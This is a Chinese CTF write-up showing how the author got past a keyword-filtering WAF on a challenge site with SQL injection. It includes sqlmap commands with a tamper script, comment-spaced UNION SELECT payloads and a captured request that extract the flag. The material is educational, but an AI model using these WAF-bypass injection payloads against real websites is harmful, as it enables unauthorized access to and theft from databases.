补天沙龙成都站入场券CTF

0x00前言

  10月22补天成都沙龙,GO!GO!GO,入场需要CTF,个人Writeup早就写好了,尊重游戏规则,现在才发布。

0x01过程

1.CTF地址:http://butian.secbox.cn/
访问链接得到下图:

访问链接

添加?id=1,2,3,4得到不同信息,id=3时提示flag在数据库中,id=4提示需要bypass

1
http://butian.secbox.cn/?id=3

flag is in database

利用简单手工注入测试and 1=1order by 1被waf拦截了,测试过滤了:空格、+、and、order、by

简单手工注入

暂时没有想法,直接上sqlmap

1
python sqlmap.py -u "butian.secbox.cn?id=4" --tamper=space2comment --dbs

enter description here
测试出有注入,然而只能获得数据库名为”websql”,无法获取表名和列名

工具不成功,接着根据sqlmap的测试payload,构造如下payload获取数据库基本信息

1
http://butian.secbox.cn/?id=-1/**/UNION/**/ALL/**/SELECT/**/CONCAT_WS(CHAR(32,58,32),user(),database(),version())

get information
测试手工利用information_schema数据库注入获取表名和列名,发现仍然被waf拦截,测试发现WAF拦截了:”infor” ,此路不通!

接着小伙伴灵机一动,在sqlmap的爆破猜表名、列名中添加”butian”、”flag”等。灵光闪现,列名和表明都是”flag”,

1
2
python sqlmap.py -u "butian.secbox.cn?id=4" --tamper=space2comment --tables -D "websql"
python sqlmap.py -u "butian.secbox.cn?id=4" --tamper=space2comment --columns -T "flag" -D "websql"

测试–dump获取数据,然而没有得到任何信息
手动提交吧

1
http://butian.secbox.cn/?id=-1/**/UNION/**/ALL/**/SELECT/**/flag/**/from/**/flag

flag

Bingo!

0x02后续

成功提交flag以后,纠结sqlmap的dump为什么不能获取到数据,于是挂个代理看看,执行如下命令

1
python sqlmap.py -u "butian.secbox.cn?id=4" --tamper=space2comment --dump -C "flag" -T "flag" -D "websql" --proxy="http://127.0.0.1:8080/"

burp抓到的包内容为(URLdecode后):

1
2
3
4
5
6
7
8
9
10
GET /?id=-4678/**/UNION/**/ALL/**/SELECT/**/CONCAT(0x717a767671,IFNULL(CAST(flag/**/AS/**/CHAR),0x20),0x7171717171)/**/FROM/**/websql.flag/**/ORDER/**/BY/**/flag# HTTP/1.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Host: butian.secbox.cn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: sqlmap/1.0-dev-nongit-20160604 (http://sqlmap.org)
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close
Pragma: no-cache
Cache-Control: no-cache,no-store

分析由于sqlmap语句中包含了ORDER/**/BY/**/flag,手工去掉,然后hackbar提交如下

1
http://butian.secbox.cn?id=-4678/**/UNION/**/ALL/**/SELECT/**/CONCAT(0x717a767671,IFNULL(CAST(flag/**/AS/**/CHAR),0x20),0x7171717171)/**/FROM/**/websql.flag

sqlmap dump修改

0x03总结

  • 此次CTF由于WAF拦截了:空格、+、and、order、by、infor,所以需要用/**/代替空格,而且只能用id=-4678(负数皆可)替代and 1=2使得前部分SQL语句为“假”,同时也不能使用查询information_schema数据库获得表名和列名,采取猜测的方法。
  • mysql数据库中CONCAT()函数用于将不同的字符连接在一起输出,执行SELECT CONCAT('my','sql');会得到”mysql”
  • mysql数据库中的CAST()函数用于将获取的值都转换为指定类型,执行SELECT CAST(1 as CHAR)会得到字符型的’1’
  • mysql数据库中IFNULL(expr1,expr2)函数用来当第一个表达式expr1不是NULL时返回expr1,否则返回expr2。执行SELECT IFNULL(NULL,'IS_NULL');返回”IS_NULL”,执行SELECT IFNULL('test','IS_NULL');,返回”test”
  • mysql数据库中,手工猜测表名SELECT EXISTS(SELECT * FROM 表名),手工猜测列名SELECT EXISTS(SELECT 列名 FROM 表名)